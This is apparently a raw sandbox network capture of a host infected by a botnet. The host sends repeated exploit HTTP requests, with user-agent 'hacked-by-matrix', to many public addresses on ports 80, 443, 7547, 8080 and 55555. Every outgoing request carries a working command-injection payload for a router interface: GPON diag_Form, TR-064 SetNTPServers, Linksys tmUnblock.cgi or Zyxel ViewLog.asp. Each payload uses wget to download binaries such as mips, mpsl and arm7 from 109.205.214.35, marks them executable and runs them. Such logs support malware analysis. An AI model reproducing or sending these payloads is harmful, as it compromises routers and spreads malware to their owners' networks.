Mar 21, 2024 05:22:29.540646076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
484	192.168.2.13	55964	212.73.123.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.540678978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
485	192.168.2.13	56632	109.146.187.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.540679932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
486	192.168.2.13	36162	212.23.108.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.540694952 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
487	192.168.2.13	60702	41.239.119.39	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.595949888 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
488	192.168.2.13	58004	172.65.191.158	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.670887947 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
489	192.168.2.13	35346	172.65.214.236	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.670929909 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
490	192.168.2.13	40754	172.66.175.248	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.798428059 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
491	192.168.2.13	56354	172.67.74.203	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.886502028 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
492	192.168.2.13	60270	213.91.154.66	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.907694101 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:30.108120918 CET	987	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:22:30 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 32 3a 33 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 32 31 33 2e 39 31 2e 31 35 34 2e 36 36 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:22:30 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 305Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.29 (Ubuntu) Server at 213.91.154.66 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
493	192.168.2.13	60292	213.91.154.66	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:30.280539989 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:30.478466988 CET	987	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:22:30 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 32 3a 33 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 32 31 33 2e 39 31 2e 31 35 34 2e 36 36 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:22:30 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 305Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.29 (Ubuntu) Server at 213.91.154.66 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
494	192.168.2.13	45268	78.185.167.64	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:30.288142920 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:30.514713049 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 07:22:30 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
495	192.168.2.13	58348	179.53.167.255	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:30.347352982 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:30.501292944 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
496	192.168.2.13	48458	31.136.205.225	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:30.372338057 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:33.388282061 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:39.534558058 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:51.564382076 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:16.401530027 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
497	192.168.2.13	35146	47.40.96.241	7547

